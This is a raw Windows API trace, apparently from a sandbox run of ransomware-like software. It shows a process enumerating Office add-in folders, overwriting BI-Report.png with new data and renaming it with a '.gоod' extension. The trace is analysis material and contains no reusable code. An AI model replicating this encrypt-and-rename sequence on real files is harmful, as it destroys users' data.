FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0221.196] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.196] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0221.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0221.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0221.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", lpFilePart=0x0) returned 0x5c [0221.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed3d0) returned 1 [0221.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), fInfoLevelId=0x0, lpFileInformation=0x384a838 | out: lpFileInformation=0x384a838*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090)) returned 1 [0221.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed390) returned 1 [0221.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", lpFilePart=0x0) returned 0x5c [0221.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0221.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0221.199] GetFileType (hFile=0x82c) returned 0x1 [0221.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0221.199] GetFileType (hFile=0x82c) returned 0x1 [0221.199] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ed428*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ed428*=0) returned 0x1000 [0221.199] ReadFile (in: hFile=0x82c, lpBuffer=0x384ad18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x384ad18*, lpNumberOfBytesRead=0x206ed3f8*=0x1000, lpOverlapped=0x0) returned 1 [0221.325] CloseHandle (hObject=0x82c) returned 1 [0221.325] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", lpFilePart=0x0) returned 0x5c [0221.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0221.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0221.326] GetFileType (hFile=0x82c) returned 0x1 [0221.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0221.326] GetFileType (hFile=0x82c) returned 0x1 [0221.326] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ed428*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ed428*=0) returned 0x4090 [0221.326] WriteFile (in: hFile=0x82c, lpBuffer=0x36ce208*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ed318, lpOverlapped=0x0 | out: lpBuffer=0x36ce208*, lpNumberOfBytesWritten=0x206ed318*=0x10, lpOverlapped=0x0) returned 1 [0221.327] CloseHandle (hObject=0x82c) returned 1 [0221.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", lpFilePart=0x0) returned 0x5c [0221.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0221.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0221.327] GetFileType (hFile=0x82c) returned 0x1 [0221.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0221.327] GetFileType (hFile=0x82c) returned 0x1 [0221.327] ReadFile (in: hFile=0x82c, lpBuffer=0x36d04f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed3a8, lpOverlapped=0x0 | out: lpBuffer=0x36d04f8*, lpNumberOfBytesRead=0x206ed3a8*=0x1000, lpOverlapped=0x0) returned 1 [0221.354] CloseHandle (hObject=0x82c) returned 1 [0221.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", lpFilePart=0x0) returned 0x5c [0221.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0221.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0221.354] GetFileType (hFile=0x82c) returned 0x1 [0221.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0221.354] GetFileType (hFile=0x82c) returned 0x1 [0221.354] WriteFile (in: hFile=0x82c, lpBuffer=0x36cf220*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ed458, lpOverlapped=0x0 | out: lpBuffer=0x36cf220*, lpNumberOfBytesWritten=0x206ed458*=0x1010, lpOverlapped=0x0) returned 1 [0221.354] CloseHandle (hObject=0x82c) returned 1 [0221.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", lpFilePart=0x0) returned 0x5c [0221.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.gоod", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.gоod", lpFilePart=0x0) returned 0x61 [0221.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed390) returned 1 [0221.355] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), fInfoLevelId=0x0, lpFileInformation=0x206ed470 | out: lpFileInformation=0x206ed470*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80279af5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40a0)) returned 1 [0221.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed350) returned 1 [0221.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png.gоod")) returned 1 [0221.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0221.356] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar", lpFilePart=0x0) returned 0x51 [0221.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0221.357] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.357] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0221.357] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.358] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x78b299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x78b299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78b299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0221.358] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.358] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50ee1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ar.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0221.358] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.358] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0221.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0221.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0221.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0221.359] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar", lpFilePart=0x0) returned 0x51 [0221.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0221.360] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.360] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0221.360] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.360] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x78b299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x78b299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78b299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0221.360] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.360] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 